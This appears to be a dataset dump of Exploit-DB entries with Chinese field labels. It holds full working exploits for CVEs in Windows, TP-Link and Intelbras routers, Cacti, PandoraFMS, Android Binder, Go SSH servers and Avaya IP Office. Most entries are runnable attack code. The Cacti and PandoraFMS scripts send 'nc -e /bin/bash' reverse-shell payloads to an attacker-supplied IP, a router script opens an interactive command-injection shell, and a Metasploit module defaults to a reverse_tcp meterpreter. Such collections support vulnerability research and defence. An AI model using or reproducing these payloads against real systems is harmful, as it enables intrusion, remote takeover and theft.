QLWD/code_shield huggingface dataset:
标题: Microsoft Windows - 'WizardOpium' Local Privilege Escalation EDB-ID: 48180 CVE: 2019-1458 类型: LOCAL 平台: WINDOWS 发布日期: 2020-03-03 漏洞利用脚本: #include <cstdio>
#include <windows.h>

extern "C" NTSTATUS NtUserMessageCall(HWND hWnd, UINT msg, WPARAM wParam, LPARAM lParam, ULONG_PTR ResultInfo, DWORD dwType, BOOL bAscii);

int main() {    
    HINSTANCE hInstance = GetModuleHandle(NULL);

    WNDCLASSEX wcx;
    ZeroMemory(&wcx, sizeof(wcx));
    wcx.hInstance = hInstance;
    wcx.cbSize = sizeof(wcx);
    wcx.lpszClassName = L"SploitWnd";
    wcx.lpfnWndProc = DefWindowProc;
    wcx.cbWndExtra = 8; //pass check in xxxSwitchWndProc to set wnd->fnid = 0x2A0
   
    printf("[*] Registering window\n");
    ATOM wndAtom = RegisterClassEx(&wcx);
    if (wndAtom == INVALID_ATOM) {
        printf("[-] Failed registering SploitWnd window class\n");
        exit(-1);
    }

    printf("[*] Creating instance of this window\n");
    HWND sploitWnd = CreateWindowEx(0, L"SploitWnd", L"", WS_VISIBLE, 0, 0, 0, 0, NULL, NULL, hInstance, NULL);
    if (sploitWnd == INVALID_HANDLE_VALUE) {
        printf("[-] Failed to create SploitWnd window\n");
        exit(-1);
    }

    printf("[*] Calling NtUserMessageCall to set fnid = 0x2A0 on window\n");
    NtUserMessageCall(sploitWnd, WM_CREATE, 0, 0, 0, 0xE0, 1);

    printf("[*] Allocate memory to be used for corruption\n");
    PVOID mem = VirtualAlloc(0, 0x1000, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    printf("\tptr: %p\n", mem);
    PBYTE byteView = (PBYTE)mem;
    byteView[0x6c] = 1;             // use GetKeyState in xxxPaintSwitchWindow

    //pass DrawSwitchWndHilite double dereference
    PVOID* ulongView = (PVOID*)mem;
    ulongView[0x20 / sizeof(PVOID)] = mem;

    printf("[*] Calling SetWindowLongPtr to set window extra data, that will be later dereferenced\n");
    SetWindowLongPtr(sploitWnd, 0, (LONG_PTR)mem);
    printf("[*] GetLastError = %x\n", GetLastError());

    printf("[*] Creating switch window #32771, this has a result of setting (gpsi+0x154) = 0x130\n");
    HWND switchWnd = CreateWindowEx(0, (LPCWSTR)0x8003, L"", 0, 0, 0, 0, 0, NULL, NULL, hInstance, NULL);

    printf("[*] Simulating alt key press\n");
    BYTE keyState[256];
    GetKeyboardState(keyState);
    keyState[VK_MENU] |= 0x80;
    SetKeyboardState(keyState);

    printf("[*] Triggering dereference of wnd->extraData by calling NtUserMessageCall second time");
    NtUserMessageCall(sploitWnd, WM_ERASEBKGND, 0, 0, 0, 0x0, 1);
} URL: https://www.exploit-db.com/exploits/48180
标题: TL-WR849N 0.9.1 4.16 - Authentication Bypass (Upload Firmware) EDB-ID: 48152 CVE: 2019-19143 类型: WEBAPPS 平台: HARDWARE 发布日期: 2020-03-02 漏洞利用脚本: # Exploit Title: TL-WR849N 0.9.1 4.16 - Authentication Bypass (Upload Firmware)
# Date: 2019-11-20
# Exploit Author: Elber Tavares
# Vendor Homepage: https://www.tp-link.com/
# Software Link: https://www.tp-link.com/br/support/download/tl-wr849n/#Firmware
# Version: TL-WR849N 0.9.1 4.16
# Tested on: linux, windows
# CVE : CVE-CVE-2019-19143

Uploading new firmware without access to the panel

REFS:
 https://github.com/ElberTavares/routers-exploit/tp-link
 https://fireshellsecurity.team/hack-n-routers/


Poc:
curl -i -X POST -H "Content-Type: multipart/form-data" -H "Referer:
http://TARGET/mainFrame.htm" -F data=@conf.bin
http://TARGET/cgi/confup URL: https://www.exploit-db.com/exploits/48152
标题: TP LINK TL-WR849N - Remote Code Execution EDB-ID: 48155 CVE: 2020-9374 类型: WEBAPPS 平台: HARDWARE 发布日期: 2020-03-02 漏洞利用脚本: # Exploit Title: TP LINK TL-WR849N - Remote Code Execution
# Date: 2019-11-20
# Exploit Author: Elber Tavares
# Vendor Homepage: https://www.tp-link.com/
# Software Link: https://www.tp-link.com/br/support/download/tl-wr849n/#Firmware
# Version: TL-WR849N 0.9.1 4.16
# Tested on: linux, windows
# CVE : CVE-2020-9374


import requests

def output(headers,cookies):
    url = 'http://192.168.0.1/cgi?1'
    data = ''
    data += '[TRACEROUTE_DIAG#0,0,0,0,0,0#0,0,0,0,0,0]0,3\x0d\x0a'
    data += 'diagnosticsState\x0d\x0a'
    data += 'X_TP_HopSeq\x0d\x0a'
    data += 'X_TP_Result\x0d\x0a'
    r = requests.post(url,data=data,headers=headers,cookies=cookies)
    saida = r.text
    filtro = saida.replace(': Name or service not known','')
    filtro = filtro.replace('[0,0,0,0,0,0]0','')
    filtro = filtro.replace('diagnosticsState=','')
    filtro = filtro.replace('X_TP_HopSeq=0','')
    filtro = filtro.replace('X_TP_Result=','')
    print(filtro[:-8])

def aceppt(headers,cookies):
    url = 'http://192.168.0.1/cgi?7'
    data = '[ACT_OP_TRACERT#0,0,0,0,0,0#0,0,0,0,0,0]0,0\x0d\x0a'
    r = requests.post(url,data=data,headers=headers,cookies=cookies)
    output(headers,cookies)


def inject(command,headers,cookies):
    url = 'http://192.168.0.1/cgi?2'
    data = ''
    data += '[TRACEROUTE_DIAG#0,0,0,0,0,0#0,0,0,0,0,0]0,8\x0d\x0a'
    data += 'maxHopCount=20\x0d\x0a'
    data += 'timeout=5\x0d\x0a'
    data += 'numberOfTries=1\x0d\x0a'
    data += 'host=\"$('+command+')\"\x0d\x0a'
    data += 'dataBlockSize=64\x0d\x0a'
    data += 'X_TP_ConnName=ewan_pppoe\x0d\x0a'
    data += 'diagnosticsState=Requested\x0d\x0a'
    data += 'X_TP_HopSeq=0\x0d\x0a'
    r = requests.post(url,data=data,headers=headers,cookies=cookies)
    aceppt(headers,cookies)



def main():
    cookies = {"Authorization": "Basic REPLACEBASE64AUTH"}
    headers = {'Content-Type': 'text/plain',
      'Referer': 'http://192.168.0.1/mainFrame.htm'}
    while True:
        command = input('$ ')
        inject(command,headers,cookies)


main() URL: https://www.exploit-db.com/exploits/48155
标题: Intelbras Wireless N 150Mbps WRN240 - Authentication Bypass (Config Upload) EDB-ID: 48158 CVE: 2019-19142 类型: WEBAPPS 平台: HARDWARE 发布日期: 2020-03-02 漏洞利用脚本: # Exploit Title: Intelbras Wireless N 150Mbps WRN240 - Authentication Bypass (Config Upload)
# Date: 2019-11-20
# Exploit Author: Elber Tavares
# Vendor Homepage:  https://www.intelbras.com/
# Software Link:  http://en.intelbras.com.br/node/1033
# Version: Intelbras Wireless N 150Mbps - WRN240
# Tested on: linux, windows
# CVE: CVE-2019-19142

Intelbras WRN240 devices do not require authentication to replace the
firmware via a POST request to the incoming/Firmware.cfg URI.

REFS:
 https://fireshellsecurity.team/hack-n-routers/
 https://github.com/ElberTavares/routers-exploit/


Poc:
curl -i -X POST -H "Content-Type: multipart/form-data" -H "Referer:
http://192.168.0.1/userRpm/BakNRestoreRpm.htm" -F data=@config.bin
http://192.1680.1/incoming/RouterBakCfgUpload.cfg URL: https://www.exploit-db.com/exploits/48158
标题: Cacti 1.2.8 - Unauthenticated Remote Code Execution EDB-ID: 48145 CVE: 2020-8813 类型: WEBAPPS 平台: MULTIPLE 发布日期: 2020-02-03 漏洞利用脚本: #!/usr/bin/python3

# Exploit Title: Cacti v1.2.8 Unauthenticated Remote Code Execution
# Date: 03/02/2020
# Exploit Author: Askar (@mohammadaskar2)
# CVE: CVE-2020-8813
# Vendor Homepage: https://cacti.net/
# Version: v1.2.8
# Tested on: CentOS 7.3 / PHP 7.1.33

import requests
import sys
import warnings
from bs4 import BeautifulSoup
from urllib.parse import quote

warnings.filterwarnings("ignore", category=UserWarning, module='bs4')


if len(sys.argv) != 4:
    print("[~] Usage : ./Cacti-exploit.py url ip port")
    exit()

url = sys.argv[1]
ip = sys.argv[2]
port = sys.argv[3]

def send_exploit(url):
    payload = ";nc${IFS}-e${IFS}/bin/bash${IFS}%s${IFS}%s" % (ip, port)
    cookies = {'Cacti': quote(payload)}
    path = url+"/graph_realtime.php?action=init"
    req = requests.get(path)
    if req.status_code == 200 and "poller_realtime.php" in req.text:
        print("[+] File Found and Guest is enabled!")
        print("[+] Sending malicous request, check your nc ;)")
        requests.get(path, cookies=cookies)
    else:
        print("[+] Error while requesting the file!")

send_exploit(url) URL: https://www.exploit-db.com/exploits/48145
标题: Cacti 1.2.8 - Authenticated Remote Code Execution EDB-ID: 48144 CVE: 2020-8813 类型: WEBAPPS 平台: MULTIPLE 发布日期: 2020-02-03 漏洞利用脚本: #!/usr/bin/python3

# Exploit Title: Cacti v1.2.8 Remote Code Execution
# Date: 03/02/2020
# Exploit Author: Askar (@mohammadaskar2)
# CVE: CVE-2020-8813
# Vendor Homepage: https://cacti.net/
# Version: v1.2.8
# Tested on: CentOS 7.3 / PHP 7.1.33

import requests
import sys
import warnings
from bs4 import BeautifulSoup
from urllib.parse import quote

warnings.filterwarnings("ignore", category=UserWarning, module='bs4')


if len(sys.argv) != 6:
    print("[~] Usage : ./Cacti-exploit.py url username password ip port")
    exit()

url = sys.argv[1]
username = sys.argv[2]
password = sys.argv[3]
ip = sys.argv[4]
port = sys.argv[5]

def login(token):
    login_info = {
    "login_username": username,
    "login_password": password,
    "action": "login",
    "__csrf_magic": token
    }
    login_request = request.post(url+"/index.php", login_info)
    login_text = login_request.text
    if "Invalid User Name/Password Please Retype" in login_text:
        return False
    else:
        return True

def enable_guest(token):
    request_info = {
    "id": "3",
    "section25": "on",
    "section7": "on",
    "tab": "realms",
    "save_component_realm_perms": 1,
    "action": "save",
    "__csrf_magic": token
    }
    enable_request = request.post(url+"/user_admin.php?header=false", request_info)
    if enable_request:
        return True
    else:
        return False

def send_exploit():
    payload = ";nc${IFS}-e${IFS}/bin/bash${IFS}%s${IFS}%s" % (ip, port)
    cookies = {'Cacti': quote(payload)}
    requests.get(url+"/graph_realtime.php?action=init", cookies=cookies)

request = requests.session()
print("[+]Retrieving login CSRF token")
page = request.get(url+"/index.php")
html_content = page.text
soup = BeautifulSoup(html_content, "html5lib")
token = soup.findAll('input')[0].get("value")
if token:
    print("[+]Token Found : %s" % token)
    print("[+]Sending creds ..")
    login_status = login(token)
    if login_status:
        print("[+]Successfully LoggedIn")
        print("[+]Retrieving CSRF token ..")
        page = request.get(url+"/user_admin.php?action=user_edit&id=3&tab=realms")
        html_content = page.text
        soup = BeautifulSoup(html_content, "html5lib")
        token = soup.findAll('input')[1].get("value")
        if token:
            print("[+]Making some noise ..")
            guest_realtime = enable_guest(token)
            if guest_realtime:
                print("[+]Sending malicous request, check your nc ;)")
                send_exploit()
            else:
                print("[-]Error while activating the malicous account")

        else:
            print("[-] Unable to retrieve CSRF token from admin page!")
            exit()

    else:
        print("[-]Cannot Login!")
else:
    print("[-] Unable to retrieve CSRF token!")
    exit() URL: https://www.exploit-db.com/exploits/48144
标题: Android Binder - Use-After-Free (Metasploit) EDB-ID: 48129 CVE: 2019-2215 类型: LOCAL 平台: ANDROID 发布日期: 2020-02-24 漏洞利用脚本: ##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
  Rank = ExcellentRanking

  include Msf::Post::File
  include Msf::Post::Common
  include Msf::Exploit::EXE
  include Msf::Exploit::FileDropper

  def initialize(info={})
    super( update_info( info, {
        'Name'          => "Android Binder Use-After-Free Exploit",
        'Description'   => %q{
        },
        'License'       => MSF_LICENSE,
        'Author'        => [
            'Jann Horn',    # discovery and exploit
            'Maddie Stone', # discovery and exploit
            'grant-h',      # Qu1ckR00t
            'timwr',        # metasploit module
        ],
        'References'    => [
            [ 'CVE', '2019-2215' ],
            [ 'URL', 'https://bugs.chromium.org/p/project-zero/issues/detail?id=1942' ],
            [ 'URL', 'https://hernan.de/blog/2019/10/15/tailoring-cve-2019-2215-to-achieve-root/' ],
            [ 'URL', 'https://github.com/grant-h/qu1ckr00t/blob/master/native/poc.c' ],
        ],
        'DisclosureDate' => "Sep 26 2019",
        'SessionTypes'   => [ 'meterpreter' ],
        'Platform'       => [ "android", "linux" ],
        'Arch'           => [ ARCH_AARCH64 ],
        'Targets'        => [[ 'Auto', {} ]],
        'DefaultOptions' =>
        {
          'PAYLOAD'      => 'linux/aarch64/meterpreter/reverse_tcp',
          'WfsDelay'     => 5,
        },
        'DefaultTarget' => 0,
      }
    ))
  end

  def upload_and_chmodx(path, data)
    write_file path, data
    chmod(path)
    register_file_for_cleanup(path)
  end

  def exploit
    local_file = File.join( Msf::Config.data_directory, "exploits", "CVE-2019-2215", "exploit" )
    exploit_data = File.read(local_file, {:mode => 'rb'})

    workingdir = session.fs.dir.getwd
    exploit_file = "#{workingdir}/.#{Rex::Text::rand_text_alpha_lower(5)}"
    upload_and_chmodx(exploit_file, exploit_data)
    payload_file = "#{workingdir}/.#{Rex::Text::rand_text_alpha_lower(5)}"
    upload_and_chmodx(payload_file, generate_payload_exe)

    print_status("Executing exploit '#{exploit_file}'")
    result = cmd_exec("echo '#{payload_file} &' | #{exploit_file}")
    print_status("Exploit result:\n#{result}")
  end
end URL: https://www.exploit-db.com/exploits/48129
标题: Go SSH servers 0.0.2 - Denial of Service (PoC) EDB-ID: 48121 CVE: 2020-9283 类型: DOS 平台: LINUX 发布日期: 2020-02-24 漏洞利用脚本: # Exploit Title: Go SSH servers 0.0.2 - Denial of Service (PoC)
# Author: Mark Adams
# Date: 2020-02-21
# Link: https://github.com/mark-adams/exploits/blob/master/CVE-2020-9283/poc.py
# CVE: CVE-2020-9283
#
# Running this script may crash the remote SSH server if it is vulnerable.
# The GitHub repository contains a vulnerable and fixed SSH server for testing.
#
# $ python poc.py
# ./poc.py <host> <port> <user>
#
# $ python poc.py localhost 2022 root
# Malformed auth request sent. This should cause a panic on the remote server.
#

#!/usr/bin/env python

import socket
import sys

import paramiko
from paramiko.common import cMSG_SERVICE_REQUEST, cMSG_USERAUTH_REQUEST

if len(sys.argv) != 4:
    print('./poc.py <host> <port> <user>')
    sys.exit(1)

host = sys.argv[1]
port = int(sys.argv[2])
user = sys.argv[3]

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((host, port))

t = paramiko.Transport(sock)
t.start_client()

t.lock.acquire()
m = paramiko.Message()
m.add_byte(cMSG_SERVICE_REQUEST)
m.add_string("ssh-userauth")
t._send_message(m)

m = paramiko.Message()
m.add_byte(cMSG_USERAUTH_REQUEST)
m.add_string(user)
m.add_string("ssh-connection")
m.add_string('publickey')
m.add_boolean(True)
m.add_string('ssh-ed25519')

# Send an SSH key that is too short (ed25519 keys are 32 bytes)
m.add_string(b'\x00\x00\x00\x0bssh-ed25519\x00\x00\x00\x15key-that-is-too-short')

# Send an empty signature (the server won't get far enough to validate it)
m.add_string(b'\x00\x00\x00\x0bssh-ed25519\x00\x00\x00\x00')

t._send_message(m)

print('Malformed auth request sent. This should cause a panic on the remote server.') URL: https://www.exploit-db.com/exploits/48121
标题: Avaya IP Office Application Server 11.0.0.0 - Reflective Cross-Site Scripting EDB-ID: 48105 CVE: 2019-7004 类型: WEBAPPS 平台: HARDWARE 发布日期: 2020-02-24 漏洞利用脚本: # Exploit Title: Avaya IP Office Application Server 11.0.0.0 - Reflective Cross-Site Scripting
# Release Date: 2019-12-11
# Exploit Authors: Dan Bohan, Scott Goodwin, OCD Tech
# Vendor Homepage: https://www.avaya.com/en/
# Software Link: https://www.avaya.com/en/products/unified-communications/voip/
# Vulnerable Version: 11.0 FP4 SP1 and before
# Tested on: 11.0.0.0
# CVE: CVE-2019-7004
# Vendor Advisory: ASA-2019-213
# References: https://downloads.avaya.com/css/P8/documents/101062833
# https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-7004

Avaya IP Office version 11.0.0.0 and before has a vulnerable login page (username) which is susceptible to cross-site scripting (XSS) via a POST request due to improper sanitization of user input. XSS via a post request allows for arbitrary code to be executed on the client’s system in the security context of the browser. By submitting a specially crafted username, it is possible to execute arbitrary JavaScript.

# PoC
Username: 41529%22%2F%3E%0A%3Cscript%3Ealert%28%27XSS%21%27%29%3B%3C%2Fscript%3E
Password: Anything URL: https://www.exploit-db.com/exploits/48105
标题: MSI Packages Symbolic Links Processing - Windows 10 Privilege Escalation EDB-ID: 48079 CVE: 2020-0683 类型: LOCAL 平台: WINDOWS 发布日期: 2020-02-17 漏洞利用脚本: # Exploit Title:  MSI Packages Symbolic Links Processing - Windows 10 Privilege Escalation
# Author: nu11secur1ty
# Date: 2020-02-14
# Vendor: Microsoft
# Link: https://github.com/nu11secur1ty/Windows10Exploits/tree/master/Undefined/CVE-2020-0683/nu11secur1ty
# CVE: CVE-2020-0683


[+] Credits: Ventsislav Varbanovski (@ nu11secur1ty)
[+] Website: https://www.nu11secur1ty.com/
[+] Source:  readme from GitHUB
[+] twitter.com/nu11secur1ty


[Exploit Program]
Link:
https://github.com/nu11secur1ty/Windows10Exploits/tree/master/Undefined/CVE-2020-0683/nu11secur1ty


[Vendor]
Microsoft


[Vulnerability Type]
Windows Installer Elevation of Privilege Vulnerability

[CVE Reference]

An elevation of privilege vulnerability exists in the Windows Installer
when MSI packages process symbolic links. An attacker who successfully
exploited this vulnerability could bypass access restrictions to add or
remove files.

To exploit this vulnerability, an attacker would first have to log on to
the system. An attacker could then run a specially crafted application that
could exploit the vulnerability and add or remove files.

The security update addresses the vulnerability by modifying how to reparse
points are handled by the Windows Installer.


[Security Issue]
Elevation of Privilege from user to C:\Windows\administartion execution
files


[References]

# CVE-2020-0683
Original Poc sent to MSRC.
Assigned to CVE-2020-0683 - Windows Installer Elevation of Privilege
https://portal.msrc.microsoft.com/en-us/security-guidance/advisory/CVE-2020-0683

Source code for Visual Studio C++ 2019

Inside "nu11secur1ty" you'll find the exploit (exe) to execute.

# Note:

This test is using `system.ini` in c:\Windows\system.ini
When you exploit this file you should replace with the original file
`system.ini` after this test, which you will find in CVE-2020-0683
directory :)

--------------------------------------------------------------------------

- - How to run the exploit

Go into "nu11secur1ty" directory and from a cmd console launch:

- for the test

MsiExploit.exe  c:\Windows\system.ini"

Be sure that both "MsiExploit.exe" and "foo.msi" reside in the same directory.

- Disclaimer:

 The entry creation date may reflect when the CVE ID was allocated or
reserved, and does not necessarily indicate when this vulnerability
was discovered, shared with the affected vendor, publicly disclosed,
or updated in CVE.


- @nu11secur1ty


[Network Access]
Local


[Disclosure Timeline]
02/11/2020

[Disclaimer]

 The entry creation date may reflect when the CVE ID was allocated or
reserved, and does not necessarily indicate when this vulnerability
was discovered, shared with the affected vendor, publicly disclosed,
or updated in CVE.


nu11secur1ty
-- URL: https://www.exploit-db.com/exploits/48079
标题: PANDORAFMS 7.0 - Authenticated Remote Code Execution EDB-ID: 48064 CVE: 2020-8947 类型: WEBAPPS 平台: PHP 发布日期: 2020-02-13 漏洞利用脚本: # Exploit Title: PANDORAFMS 7.0 - Authenticated Remote Code Execution
# Date: 2020-02-12
# Exploit Author: Engin Demirbilek
# Vendor homepage: http://pandorafms.org/
# Version: 7.0
# Software link: https://pandorafms.org/features/free-download-monitoring-software/
# Tested on: CentOS
# CVE: CVE-2020-8947

#!/bin/python
'''
PANDORAFMS 7.0 Authenticated Remote Code Execution x4
This exploits can be edited to exploit 4x Authenticated RCE vulnerabilities exist on PANDORAFMS.
incase default vulnerable variable won't work, change the position of payload to  one of the following ip_src, dst_port, src_port

Author: Engin Demirbilek
Github: github.com/EnginDemirbilek
CVE: CVE-2020-8947

'''
import requests
import sys

if len(sys.argv) < 6:
 print "Usage: ./exploit.py http://url username password listenerIP listenerPort"
 exit()

url = sys.argv[1]
user = sys.argv[2]
password = sys.argv[3]
payload = '";nc -e /bin/sh ' + sys.argv[4] + ' ' + sys.argv[5] + ' ' + '#'

login = {
 'nick':user,
 'pass':password,
 'login_button':'Login'
}
req = requests.Session()
print "Sendin login request ..."
login = req.post(url+"/pandora_console/index.php?login=1", data=login)

payload = {
 'date':"",
 'time':"",
 'period':"",
 'interval_length':"",
 'chart_type':"",
 'max_aggregates':"1",
        'address_resolution':"0",
        'name':"",
        'assign_group':"0",
        'filter_type':"0",
        'filter_id':"0",
        'filter_selected':"0",
        'ip_dst':payload,
 'ip_src':"",
 'dst_port':"",
 'src_port':"",
 'advanced_filter':"",
 'aggregate':"dstip",
 'router_ip':"",
 'output':"bytes",
 'draw_button':"Draw"
}

print "[+] Sendin exploit ..."

exploit = req.post(url+"/pandora_console/index.php?sec=netf&sec2=operation/netflow/nf_live_view&pure=0",cookies=req.cookies, data=payload, headers={
'User-Agent':'Mozilla/5.0 Gecko/20100101 Firefox/72.0',
'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
'Accept-Encoding':'gzip, deflate',
'Content-Type':'application/x-www-form-urlencoded'})

if exploit.status_code == 200:
 print "[+] Everything seems ok, check your listener. If no connection established, change position of payload to ip_src, dst_port or src_port."
else:
 print "[-] Couldn't send the HTTP request, try again." URL: https://www.exploit-db.com/exploits/48064
标题: Microsoft Windows Kernel - Information Disclosure EDB-ID: 48071 CVE: 2019-1125 类型: LOCAL 平台: WINDOWS 发布日期: 2020-01-27 漏洞利用脚本: # PoC for the SWAPGS attack ([CVE-2019-1125](https://nvd.nist.gov/vuln/detail/CVE-2019-1125))

This holds the sources for the SWAPGS attack PoC publicly shown at Black Hat USA, 2019.

## Contents

* leakgsbkva - variant 1 (look for random values in kernel memory; limited to PE kernel image header)
* leakgsbkvat - variant 2 (extract random values from kernel memory; limited to PE kernel image header)
* whitepaper
* Black Hat USA 2019 presentation

## Prerequisites

1. Visual Studio 2015
2. Unpatched Windows x64 (7 or newer)

## Authors

* Andrei Vlad LUȚAȘ
* Dan Horea LUȚAȘ

## Additional resources

[Video Recording of presentation at Black Hat USA, 2019](https://www.youtube.com/watch?v=uBPry7jcfBE)


Download ~ https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/48071.zip URL: https://www.exploit-db.com/exploits/48071